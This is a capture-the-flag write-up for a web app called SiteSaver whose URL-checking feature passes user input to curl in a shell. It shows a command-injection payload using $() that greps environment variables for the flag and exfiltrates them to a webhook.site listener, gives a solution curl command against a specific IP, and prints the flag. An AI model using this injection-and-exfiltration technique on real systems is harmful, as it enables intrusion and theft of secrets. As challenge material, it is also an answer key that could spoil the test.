Overview
The application SiteSaver takes a URL and runs a curl check command in the shell. Lack of input sanitization enables command injection.
Reconnaissance
Triggering a Werkzeug debug error discloses the backend logic.
check_url(url) executes a shell command: curl <url>We can execute commands inside the backticks/brackets $() to trigger shell commands inside curl.
Exploitation Strategy
Since the output is not reflected in the client response, we use an out-of-band exfiltration technique.
We send the flag to an external listener (webhook.site) inside the URL path of the injected curl execution:
POST /add_url
url=http://webhook.site/<id>/$(env | grep -i flag | tr ' ' '_')The server evaluates the nested shell statement and makes a request to our listener containing the flag.
Solution Code
curl -d "url=http://webhook.site/xxx/$(env|grep -i flag|tr ' ' '_')" \
http://51.20.10.121:5010/add_urlFlag
CrackOn{command_injection}